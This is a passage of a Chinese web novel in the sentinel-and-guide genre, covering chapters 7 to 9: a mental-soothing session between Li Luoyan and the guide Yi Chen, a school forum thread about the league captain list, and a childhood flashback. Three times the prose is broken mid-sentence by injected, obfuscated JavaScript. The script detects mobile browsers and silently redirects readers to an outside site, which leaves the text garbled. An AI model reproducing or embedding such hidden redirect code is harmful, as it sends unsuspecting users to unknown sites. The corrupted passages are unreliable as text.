黎珞言想了好一会儿,得出结论:大概是喜欢小动物? 嗯……喜欢小动物的能是什么坏人? 7. 第 7 章 黑发向导的眉眼轮廓像是墨笔勾勒而成的,抬起眼望向人时,纯黑的眼睛像是深不见底的深渊。 黎珞言在他的眼睛里缩成了很小一个,模模糊糊的倒影仿佛要被深藏于渊底的海怪拉拽下去。 对向导的视线全然未觉的黎珞言很乖地趴在桌上,他难受得皱皱巴巴的,恍惚到咬住了指节才清醒过来。 开口时嗓音有点哑,他极力压抑着身体的难受,说话一个字一个字往外面蹦:“我可以做疏导了吗?” 向导看着他无意识做出的小动作——不住地咬着嘴唇,又舔着嘴巴。 他才注意到眼前的哨兵牙齿有点尖,压在嘴唇上时看起来一旦使劲就会咬出两个吓人的血洞。 像是……饿了? 易谌对食物并不热衷,饿的时候向来都是靠寡淡无味的营养液充饥,但面前的哨兵像是想在嘴巴里咬点能够嚼一嚼的食物,应该不会想要营养液…… 易谌摸了摸外套的口袋,里面装着一颗营地里的向导前辈分发的硬糖。隔着外套硬质布料,指尖轻轻碰着那颗糖。 他又抬头看向蔫蔫的哨兵。 实际上,他有点生理性厌人。 但面前这个……像小动物一样。安静的时候像,说话的时候像,就连小动作也像是小动物在撒娇。 无理取闹的发疯哨兵易谌见得多了,暴力压制就行。以至于现在见到一个总发呆的笨蛋他还有点不太适应。 “黎珞言。”向导说。 黎珞言两手交叠着搭在桌上,一听见自己的名字,条件反射就抬起了头。 然后他就看见对面的向导伸出拳头到自己面前。 嗯……看上去像是想给他一拳。 下一瞬向导就张开了手心,手掌里躺着颗水果硬糖。 易谌问:“吃吗?” “要吃。”黎珞言弯起眼睛,收下糖后就一口咬进了嘴里,属于水果的沁甜味在唇齿间蔓延开。 易谌想,果然吃东西的时候也很像小动物,真的很像口欲期的小动物在磨牙。 “闭眼。我给你做疏导。” 黎珞言迅速闭上眼睛,舌尖抵住糖推到齿间,再嘎嘣嘎嘣咬碎,再不做疏导他真的要难受到咬人了。 易谌也闭上眼,探出精神力,精神力的触须逐渐探入了哨兵的脑域里,与对方形成链接。 按理说他的眼前应该逐渐亮起画面,但好一会儿却仍旧是一片漆黑。 除了没链接上的情况外,就只有对方的精神图景里就是一片漆黑这一种可能。 易谌拧了眉,将精神触须继续深入,越是深入,他就越能感受到他和黎珞言之间的联系。 精神链接将两人之间的联系不断加深,在两人匹配度极高的前提下,甚至连情绪都能隐隐地互相感知到。 在他探出精神力与黎珞言的脑域建立链接的同时,向导素也逸散开来,哨兵的身体在接收到向导素后,原先的难受不适在逐渐缓解。 黎珞言的神情不像原先那样紧绷着了。 易谌刻意说服自己忽略掉那丝不明显的联系,沉默地继续自己对黎珞言精神图景的探索。 不知道深入了多少,眼前终于亮起了一点光,他终于能看清黎珞言的精神图景了。 隔着一层高高的半透明屏障,被围在中央的仅仅是一个竖起的画板。隔得太远易谌看不清画上具体的内容,但即便只是模糊的轮廓,他也能看出来这是一副水平很高的画,色彩丰富艳丽、抓人眼球。 除了从中心的画往外映射出的一点光以外,周围一片漆黑。 浓重得仿佛能够化为实体的黑雾缠得人连呼吸都很是困难,要不是他的精神力足够强还真顶不了多久。 黎珞言的精神图景太简单了,只有一副画和层层叠叠的厚屏障……但正因为简单,才显得更为复杂棘手。 没有肢体接触的精神疏导做到浅度清理是完全没问题的。 易谌想,那就先清理掉最外层的屏障。 * 黎珞言按着额角睁开了眼睛,刚睁眼就听见向导问:“好些了吗?” 黎珞言:……胃不疼了,头疼,算好些了吗? 他想,这位向导是不是在他的精神图景里突然心情不好,然后抓着他的脑子打了一架? 黎珞言从来没接受这么……简单粗暴、难以评价的精神疏导,但不得不承认接受疏导后脑域确实轻松许多,他甚至觉得自己还能蹦跶两下。 但还没他真的起身蹦跶几下,就发现自己的手腕上突然缠上了条黑蛇。 蛇身薄薄的鳞片压在手腕处略微有点粗糙、凹凸不平的质感,触感冰冰凉的,但又挺软弹的,有点像煮熟了的年糕。 那条黑蛇也注意到了黎珞言的视线,但它没有做出任何反应,而是继续懒洋洋地盘在他腕骨处,吐着蛇信子,蛇尾轻飘飘地扫着皮肉下淡青色的血管。 嘶……怎么还有点像向导手腕上那只。 黎珞言抬起手,正想凑近仔细观察一下多出来的那条黑蛇的特征,就听见那位向导冷冷的一声“过来。” 过、过去? 黎珞言下意识看了看这房间里还有没有别人,确定只有自己后更茫然了,迟疑着指了指自己。 他吗? 黑蛇不动如山地盘在他的手腕上,就像安家了似的。 黎珞言疑惑地看了眼向导,还没表达出自己的困惑就立刻惊讶地睁大了眼睛,望着踩在对方肩膀上跟个小玩偶似的、属于自己的精神体。 他的精神体什么时候跑出来的? 他第一次遇见这种精神体到处乱跑的情况…… 黎珞言喊道:“厄斯,回来。” 他嘴里还含着糖果碎渣,说话时依稀可以看见闪着碎光的糖渣。 小狮子正扒着易谌的衣领,俯到他的脖颈处嗅了嗅,然后似乎是很幸福地倒下去,肚皮敞着小声呼噜了两下。 听见主人呼唤后它迅速昂起大脑袋,扭头看过去。 易谌伸手把小狮子拎了下来,随手朝黎珞言扔了过去。 小狮子在降落过程中迅速膨胀变大,楞大一个直接撞进站起身的黎珞言的怀里。 黎珞言稳稳接住他,即便是这等重量他双手也完全没抖,稳得可怕。十指都陷入狮子毛茸茸的身体里,指关节透着点健康的粉。 手腕上的黑蛇缠他缠得更紧了些,蛇身变长,脑袋沿着指根蜿蜒往上,蛇信子慢悠悠舔过纤长的手指,像是在细细品尝什么美食。 小蛇舔舐后留下的湿漉漉的触感让黎珞言觉得手指泛起了点些微痒意,他把精神体收了回去,垂下眼,宝石绿的眸子专注地盯着在他右手上绕了好几圈舔来舔去的小蛇。 手背几乎都要被越来越长的蛇身覆盖,在光照下,纯黑色的蛇鳞泛起五彩斑斓的光泽,看着危险又尖利。 还没等黎珞言伸出手去碰碰他,那条黑蛇就消失了。 黎珞言眨了下眼睛,看向坐在凳子上的向导,了悟,原来那条黑蛇是他的精神体。 他翻了翻自己的手,安安静静地观察了下。 不久前缠绕在上面的黑蛇已经消失了,手上还泛着点未散去的红,黎珞言几乎还能会想起蛇信子舔舐过皮肤时滑腻奇怪的触感。 “厄斯?”易谌问,“你给精神体取的名字吗?” 黎珞言肯定地点点头,弯起眼睛,眼睛亮亮的,说话时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496417|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股糖果的甜味:“好听吗?” 易谌没有直接回答,只是说:“你是我见过第一个给精神体取名的人。” 这点也很小动物,小动物就会喜欢给动物取名。 果然就是小动物吧。 易谌想。 黎珞言坚持不懈:“那好听吗?” 易谌顿了一下,才淡声道:“嗯,好听。” * 黎珞言离开诊疗室之后,身体不难受了,连精神气都回来了。 好了,现在去捡尸体了。 “啊……”走出营地的那一瞬,他突然才想起来自己忘了的事情。 他忘记问里面那个制冷效果超好的空调品牌了。 联邦军校的住宿条件不行,空调像是不知道传了多少代的老古董了,制冷效果差到几乎可以忽略那点微乎其微的冷气。 黎珞言夏天被热到睡觉做噩梦的时候,一直在想学校能什么时候来个设备大换新就好了。 “梨子!” 黎珞言走着路,闻声抬起头。温热的手背快速地贴在他的额头上,他眨着眼睛看向自己面前的奚元。 奚元见他脸色好多了,松了口气,问道:“好些了吗?” 黎珞言点点头,为了表示自己的身体完全不难受了,他弯眸道:“现在还能捡很多尸体。” 奚元的手随意搭在他的肩上,拍了拍他,夸道:“……那还挺厉害的。” ……不过污染区边缘营地的向导精神力这么强的吗?能让梨子这么快就恢复状态。 * 清扫战场过后就是一如既往的总结讲话环节。 太阳大得刺眼,老师学生都被大太阳晒着,污染区的太阳和异兽一样像是变异过似的,晒得人心烦气躁。 站在前方的老师看着他们被晒得难受的模样,也没讲什么废话耽误时间,简单地总结了一下今日的情况。 轮到严弥老师发言时,他特意提了下今日险些酿成的惨剧,并沉着脸说:“我并不奢求你们各个都成长为能够独当一面的哨兵,但至少应该具备该有的战斗素养,以及团队协作的精神。今后你们中的绝大多数人都会来到污染区,过着朝不保夕的生活。但我们教给你们的至少能让你们活得久一点。” “除此之外,这里对一年级同学黎珞言提出表扬。” 黎珞言端正站着,听见自己的名字抬起头。 严弥面无表情看着他,绷着那张私人脸,看起来不像是在夸人,倒像是在念处决名单:“在专注自身负责事项的同时,迅速关注到了同学正面临危险,并及时做出了反应,拯救了同学的性命。” 身穿统一训练服的队伍瞬间传出竭力压低的层层惊叹声。 严弥继续说:“你的这门课,我会给你打‘A’。” 队伍里的惊呼声大了起来,能从严弥这老古板手里拿到A可以说是难得一遇,上一个得A的是现在还在污染区深处出任务的尹祁青,再上一个就是几十年前了。 有人转过头来,目露羡慕,给他比了个大拇指:“黎哥,强。” 黎珞言面对不熟的人表现得一向冷淡,他极为矜持地点了下头。 …… 下一个讲话的是一位说话时和风细雨的女老师,她给的评级一般都不会很低,因此在学生中风评很好。 她微笑着:“刚刚提到了团队协作,相信大家都知道学校即将举办一场联赛。” “四人组队,不限年级,具体通知后续会发布。我也了解到你们当中许多人私下已经在口头上组好了队。队长的名单三天后就能出来,这也是一场用来加强你们团队合作能力的比赛,希望大家能够踊跃参加,互相多了解一下。” 8. 第 8 章 联赛的队长名单是上课时间出来的。 无论是关于什么的理论课都是枯燥的,一群二十出头的哨兵根本坐不下去,一发现官网上队长名单出来了就偷偷摸摸拿出终端看起来,顺便还小声地讨论了起来。 老师在上面讲了会儿,见没人在听,一个个全捧着终端在窃窃私语,无奈地笑了一下。 他干脆也不讲课了:“队长名单出来了,我看你们也都挺关注的,那我留点时间让你们看一下吧。” 话音刚落,原本还偷偷摸摸看终端的人都光明正大了起来,讨论的声音也大了起来。 尹惟撑着头,她没什么事做,于是也打开终端查看队长名单。 手往下滑着。 突然,她的手一顿,皱着眉放大了表格,像是不敢相信自己看见了谁的名字。 怎么会出现黎珞言的名字? 梨子没有报名队长啊,而且他们私下早就定好了去的队伍。所以队长名单里为什么会有梨子的名字?是系统出错了吗? 尹惟凑得离屏幕很近,将那片区域放大又缩小,放大又缩小,反复确认自己的确没看错。 她刚想和黎珞言分享她这个神奇的新发现,就听见老师讲话了:“对了,根据多个老师的讨论,为了平衡每组实力,把黎珞言加到了队长名单里。黎珞言,你觉得呢?” 奚元在写另一门课的作业,听见黎珞言的名字条件反射地提起了耳朵,听了一嘴,但注意力没有完全集中,再加上周围太吵,他只零星听见了句子中几个词,没太反应过来是个什么意思。 黎珞言更是还在睡觉,对自己的名字一点反应都没有,趴在手臂上睡得可熟,只露出一个蓬松的黑色头顶。 尹惟坐他后座,使劲踢了踢他的凳子,没踢醒。 奚元故技重施,捏住他的鼻子,果然下一秒黎珞言就睁开了绿眼睛,被打扰了睡梦的黑发哨兵看起来有点可怜兮兮的,小声问他:“你做什么?” 奚元压低声音:“老师点你名了。” 于是黎珞言迎着老师投来的目光站了起来,他脸上稍微有点红,是睡久了之后显出来的很健康红润的颜色,看上去还有点懵。 老师看着他笑,也不说话。他完全不知道被点起来做什么,很茫然地低头看向同桌的奚元。 奚元显然也不知道在问什么问题,但他朝黎珞言比了个手势,表示他马上就去打听一下。 黎珞言识别到奚元的手势,放下了心,转回头去抿起唇,装出一副正在认真严肃的思考模样拖延时间。 奚元刚打开终端,问题还没编辑好发给尹惟,就见从后面扔过来了一个纸团。 他迅速反应过来肯定是尹惟扔过来的,心里默默感慨一句:这就是认识十几年的默契。 然后一刻也没耽搁地拆开纸团,把纸团铺平按着移到了黎珞言的桌上。 【你的名字出现在队长名单里了。老师问你的意见。】 字迹流畅漂亮,大概是因为写的有点急,最后一笔都稍微有点飘了。 黎珞言看完纸团内容,发自肺腑:“啊?” 他抬起头看向笑眯眯的老师,再次确认:“我当队长吗?” 老师点了点头,鼓励道:“你可以的。” 黎珞言睡得头还有点昏,他下意识地就要接一句“都行”了,但突然清醒了过来,咬了下舌尖,差点就要出口的被吞了回去。 他慢吞吞地憋出一句:“可以不吗?” 老师继续笑眯眯地说:“但是很抱歉,名单已经定下来了。” 这就是不容商量的意思了。 黎珞言刚醒来就得知自己要在联赛里当队长,整个人好像还在梦里似的。 他不是一年级新生吗?为什么会直接指定他当队长啊? 他抿了抿唇,试图再次为自己争取一下:“不是问我的意见吗?” 老师爽朗地哈哈笑了两声,然后又看着黎珞言笑道:“是啊,但其实已经定下来了,问你就是走个过场,怕你没看通知不知道。” 黎珞言:“……” ……讨、厌。 * 联邦军校论坛。 ——主题:【我请问呢?到底是谁说黎珞言不当队长的?】 1L:【?怎么带大名了?我敢打包票,这贴半小时以内包被封的。】 楼主:【啊!不是,太着急了!!忘打缩写了!!所以当初是谁先说他不当队长的啊!我靠,站出来啊我保证不揍人!】 3L:【嘶!lly当队长了?我还没仔细看过这个队长名单呢,等我一观。】 …… 33L:【所以黎队找好队友了吗?我要去自荐一下[害羞]】 34L:【已经开始叫上黎队了吗?听着好涩。】 35L:【我服了,到底是谁先传的假消息!早知道我就不加入别的队伍了!】 36L:【ls还是太老实了。反正只是口头约定,勇敢的人先和黎队做队友。不管了,我先冲了试试。】 …… 79L:【每次点开这种帖子,我都要事先做很久的心理建设。靠北,果然,打开一瞬间,一股子lly深柜的气质扑面而来。】 80L:【慕强没错,爱上黎队人之常情。】 81L:【自荐真的有戏吗?黎队,我女神,再加一个红毛,不就凑够仨人了吗?感觉只有向导去自荐才有希望吧。】 82L:【lz标题都不打缩写,此贴早晚被禁。不管了我也直接带大名了。】 【尹惟会和她哥尹祁青一队吧,之前就有传言说尹祁青那队队员是黎珞言、尹惟,和白塔那位首席温暻。奚元之前说的是不参赛。那现在我分析一波。黎珞言自动成为队长,尹惟要是去黎珞言那队,尹祁青队伍人数不就锐减一半了吗?所以我觉得她应该不会改队。】 【奚元说不定,他有极大可能改决定去参赛,毕竟我一直觉得他也是黎珞言深柜。】 83L:【一直很不理解lly深柜这个群体。我始终坚定自己是他的事业粉,上半学期实训课全A的成绩,直接破纪录了,给我人都看傻了。请加入我们真正的慕强批这一更加权威的群体好吗?】 84L:【其实我觉得温暻看到队长名单之后也会去黎珞言的队(这是可以说的吗)】 85L:【白塔首席和黎队很熟吗?[呆傻.jpg]】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496418|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 86L:【ber,之前白塔那位首席为了给lly做精神疏导,在我们学校的诊疗室里待了挺长一段时间,还给军校其他人做了精神疏导,都不记得了吗??】 87L:【哦莫,原来是为了黎队来的。我以为是首席大发善心,来拯救我们可怜见的哨兵了呢。】 …… 100L:【这不就是前段时间的事吗?还真有人忘?我靠,自从进了联邦军校以来,我每天起得比鸡早睡得比狗晚,被军校里那群老师当狗训,直到那天负重跑完六公里,踏进诊疗室的那一刻,首席的光芒直接普渡了我,出诊疗室的时候我还晕乎乎的。dokidoki】 【不说了,现在每天疯狂训练,都是为了以后进正式军团预约首席的诊疗室。】 101L:【哦对了,还是我,100L那个。顺便提一句,黎队nb!轻而易举从严古板那里拿到了''A''的事迹还有人不知道吗?3515届哨兵之光实至名归好吧!】 …… ——此贴已被永久封禁—— * 黎珞言撑着下巴,双眼无神地看着桌面。 下课了,教室里的人陆陆续续都走了。 尹惟戳了戳他的后背,看着他蔫蔫地转过来趴在她的桌子上,忍住笑问道:“在想什么?” “在想——”黎珞言伸出一根手指在桌上画圈圈,长长叹出一口气,“找不到队友怎么办……” 队长名单出来之前,大多数队伍都已经口头上确定下来了。现在这么突然地告诉他让他当队长,他觉得他很难再找到队友了。 “在想这个啊。”尹惟笑出声,“这还不简单,我和奚元进你队里,不就三个人了吗?再找个向导就成。” 尹惟耸了耸肩,完全不觉得找队友是个什么大问题。 黎珞言眨了眨眼睛,有点惊讶:“你愿意过来和我组队吗?” 尹惟也朝他眨了眨眼睛,笑眯眯的:“当然啊。我哥那边再找别人组队就行。” 她突然想到什么,眼珠一转,弯着眸子笑意快溢出来了,像是想出了什么坏主意:“要不我们把温暻也挖过来吧,这样我们人就齐了。” 黎珞言指节微弯挠了挠桌子,有点点被打动,但想了想,还是很迟疑地说:“那哥那边不就只剩他一个人了……” 他说话的声音陡然一滞,侧头看向奚元,茫然道:“你做什么?” 为什么突然摸他耳朵? 奚元的手还搁在他耳朵上,闻言也没收手,甚至还轻轻捏了捏耳垂,触感柔软。被他这么一按一捏,耳垂微微泛起了点暧昧的红。 他食指屈起,指尖带着点力度滑过黎珞言右耳上的银色耳钉。 耳钉就是极为普通的样式,没什么特别的装饰。黎珞言只有右耳上戴了一颗,单边耳钉看上去还蛮有个性的。 奚元没回答他,于是黎珞言凑近了又问一遍:“怎么了吗?” 他看人时眼睛亮晶晶的,弯着眸子,冲淡了锋利五官带来的冲击感,反而一副很好亲近的小动物模样。 奚元再次摩挲了下他的耳钉,半眯起眼睛说:“我只是在想,你当初到底为什么开始戴耳钉的?” 9. 第 9 章 黎珞言是大概十来岁那时,突然有一天开始戴耳钉的。 他一向是不会把自己装饰得闪闪发光的,所以戴上银色耳钉的当天就注意到了。 黑发绿眸的男生听人说话时特别专注,疑惑时就抓了抓头发,别人顺着他的动作看去,纤长手指间一抹浅淡的银光一闪而过。 尚且稚嫩的年龄五官就已经出落得很好看了,眉骨如刃,鼻梁高挺,第一眼看过去非常具有冲击力的浓颜系长相。 右耳上缀着一颗样式再简单不过的银色耳钉,反而给他添上了分很特别的韵味。 当时奚元问起的时候,黎珞言抬手摸了下右耳的耳钉,顿了下才弯起眼睛,像是有点可怜似的问:“不好看吗?” 这么一戴就好几年了,奚元今天注意到他的耳钉,才又想起这个问题。 确实很好看没错,但是梨子是喜欢戴饰品的性子吗? “我只是在想,你当初到底为什么开始戴耳钉的?”奚元说。 黎珞言听见他的问题,有点愣住了,半晌,碧绿的眸子轻轻眨了下:“因为很好看……” 黎珞言说得不是很确定,他说着说着就看向了尹惟,似乎是在寻求帮助。 “是啊,特别好看。”尹惟看着他望向人时仿佛漾着碎光的绿眸,很自然地接过话头揭过了这个话题,“我之前就看见别人抓拍的梨子的照片,耳钉衬得梨子特帅。” 她弯着唇笑,“我之前也被吸引了想搞个耳钉戴着呢。这周末怎么样?有时间陪我去挑一挑吗?” 黎珞言立马就想应下来,张嘴的同时,忽然一直挂机的脑子上线了,他想起来了自己约好的事,于是看着尹惟说:“这周末没有时间,我要去和匹配对象见一面。” 他拿出终端,翻到他和匹配对象的聊天记录作为佐证,给她看。 尹惟一看,居然还是发起的临时会话,这么久了俩人连好友都没加。 两个人前面一点寒暄都没有,黎珞言上来就问:【你好呀~你什么时候有时间,我们可以见一面吗?[小狮子探头.jpg]】 黎珞言这个加语气词、加可爱表情包的习惯还是尹惟反复强调之后才形成的。 因为黎珞言发消息时都太过直接,这种文字式的消息看不出语气,尹惟每每收到消息之后都忍不住扶额,同时又忍不住担心别人会通过这些文字误以为梨子性格差劲、不好相处。 于是她最后想出一个办法,给他发了不少表情包存上,并告诉他遇事不决就加上一个表情包好了。 匹配度96的向导:【这周末下午一点,可以吗?】 黎珞言:【好的![小狮子开心.jpg]】 “所以我周末要去和那个人见面了,不能陪你去了。”黎珞言托着下巴说。 奚元见耳钉的话题这么轻易地就被跳过去了,心里意识到一点不对劲,他扭头看向尹惟。尹惟注意到了他的视线,唇角笑容微敛,微不可察地朝他摇了摇头。 果然有事情。 奚元心头一沉,他的视线重新又落回黎珞言右耳处的那颗耳钉上,随着黎珞言晃脑袋的动作,纯黑发尾间银光轻闪。 …… 奚元和黎珞言认识是很多年前的事情了。那时候黎珞言才七岁。 奚元从小就混,最讨厌的就是参加各种各样无聊又庸俗的、千篇一律的聚会。推杯换盏之间,一群人挂着再假不过的微笑,说着一些再俗套不过的话,虚伪得要命。 他觉得没意思极了。但小孩没有话语权,他还是得被提溜着去参加那些聚会,大人说话,他一个小孩自然是被分配到小孩那堆里。但他觉得那群小孩也很没意思。 不对,不是很,是非常! 尤其是那个叫尹惟的,和他同龄,但装得一副多见多识广的稳重模样,见谁都微微笑着,熟练地打着官腔,和那群成年人简直一模一样。 无聊透顶。 奚元对尹家人这种家规森严、从上到下都透露着一股子装感的类型完全是一点也不想接触。 那天他又被他父亲扯着去参加一个听说是什么执政官独子的生日宴会。一听这个名头,他估摸着就是个特别无趣的小孩。 他拉着一张脸、十分不情愿地去到那场宴会上,几乎不用思考就能知道这一天会非常非常无聊又平淡地过去。 首先会是训练有序、毫无感情偏还要挂着笑脸的机器人站在宴会厅门口给每个到来的人送上小礼物,然后就是借着这个生日宴开始谈合作、谈军团发展、谈抵御星盗抵御异兽,巴拉巴拉的…… “你们好,这是你们的礼物。” 稚嫩又一板一眼的声音让低头环臂的奚元有些奇怪地抬起了头,眼前是个穿着精致西服的小男孩,脸上有点婴儿肥,抿着嘴巴,表情看起来似乎是在做什么特别认真的事。 他就看着那小孩转过身在旁边一个巨大的箱子里翻找,那箱子大到几乎可以装进一个他了。小孩在里面翻找的模样看着十分辛苦艰难,脑袋都快要埋进箱子里了。 奚元看着都怀疑他是不是会找着找着一整个栽进去。但最后总算是给他找着了,不知道为什么,同时间奚元也跟着那小孩一道松了口气。 小男孩把包装好的礼盒板正地递给面前的大人,余光忽然注意到了一直在盯着他看的红发男生,好奇地看过去。 站在他面前的男孩一头红发招摇得不行,双臂环着,一副很拽很狂、老子天下第一的模样盯着他看,目光直接而炙热,即便是被他发现了也毫无收敛的意思。 对于第一次见面的人来说,这其实是有点冒犯的注视。 但现场的两个小孩显然都没意识到这点。 黎珞言也慢吞吞回望向了他,浓密的眼睫下是一双澄澈透亮的绿眸,像一弯静谧温和的湖水。 对视片刻后,他弯了弯眼睛,碧绿的湖水泛起涟漪。 …… 他在朝自己笑。 奚元意识到这个事实后垂在身侧的手指忽然弯了一下,眼睛不自觉地快速眨了几下,更加目不转睛地盯着他看。 在被父亲扯了几下后,他总算回过神了,在被生拉硬拽进宴会厅之前,他努力地稳住脚步,抓紧时间连忙把心里话喊出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496419|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了:“你眼睛好漂亮!” 离得近的人都听见了。 站在后面的正好就是尹惟。她听见这句格外大声的话,唇角忍不住弯起了点,差点就没绷住要笑出声了之前,被她哥拍了一下肩。 尹惟侧头看向尹祁青。尹祁青朝她比了个噤声的动作,尹惟不情愿地点点头,使劲抿了抿唇才把差点脱口的笑声忍了回去。 奚父觉得丢脸死了,一瞬间被这么多双同僚的眼睛看着,整个人红温起来了,一个不经意拽着奚元的手松了点力,居然让这小子挣脱了出去。 奚元快速整理了下自己被他父亲拽皱的衣服,这下看上去体面多了。直勾勾看着黎珞言,咧嘴笑起来,露出一排整齐的牙齿,直白问道:“你叫什么名字?我们可以认识一下吗?” 他想,这个人有意思,他必须要认识一下。 简单的一番逻辑在脑子里过了一遍之后,奚元毫不犹豫地问出了这个问题,问完后他极为认真地盯着黎珞言的眼睛,等着他回答自己。 被他这样看着,黎珞言眼睛微微睁大了些,发生的意料之外的事情让他一瞬间怔住了,半晌才老老实实回答:“我叫黎珞言。” 回答完之后他就不说话了,他的社交技能仅限于有问有答这一部分,不像正常交流那样还会顺着话题反问一句“你叫什么名字”之类的,把对话继续下去。 但他好歹还记得父亲告诉过他不知道说什么的时候就笑笑。 他铭记着这句真理,于是在没等到对方说话后的那一小段沉默时间里,凭着本能弯起眼睛看着人笑。 “我叫奚元……唔唔!”奚元笑眯眯地自我介绍,刚说了个名字嘴巴就被他父亲捂住了,话被堵进了喉咙里,强行“唔唔”了两声也没能说出能够让人听清的话来。 红发男生就这样瞪着眼睛,火冒三丈、极不情愿地被他父亲给拽进了宴会厅里。 见看不见人了,黎珞言紧绷着的身子放松了一点,低头的时候缓缓吐出了一小口气,像是为刚才发生的事情松了口气。 抬头看向下一批人前,他不着痕迹地再深深吸起一口气,重新调整好状态,绷着一张小脸说:“你们好,这是你们的礼物。” 来来回回反反复复就是这一句话,就跟个不太智能的小机器人似的。 尹惟看得忍不住笑,等到家里人接过黎珞言递过来的礼物,准备进入宴会厅了之后,她弯着唇,压低了声音对黎珞言说道:“你眼睛真的很漂亮。” 黎珞言望着她,眨了眨眼睛,露出一副意料之外的很懵的模样。——和前几分钟莫名其妙被夸时的表情一模一样。 但他旋即弯起了眸子,月牙似的弯,讲话慢吞吞的,尾音习惯性地拖长:“谢谢。” 尹祁青发现了落后几步的妹妹,回头看了一眼尹惟,又看了一眼黎珞言。旋即收回视线,招呼她跟上。 等她走近后小声问道:“你们说什么了?” “我问他——”尹惟下意识挑了下眉,想起方才简短的对话,声音顿了一下,忽地笑出一声,扬唇道,“啊?我为什么要告诉你啊?”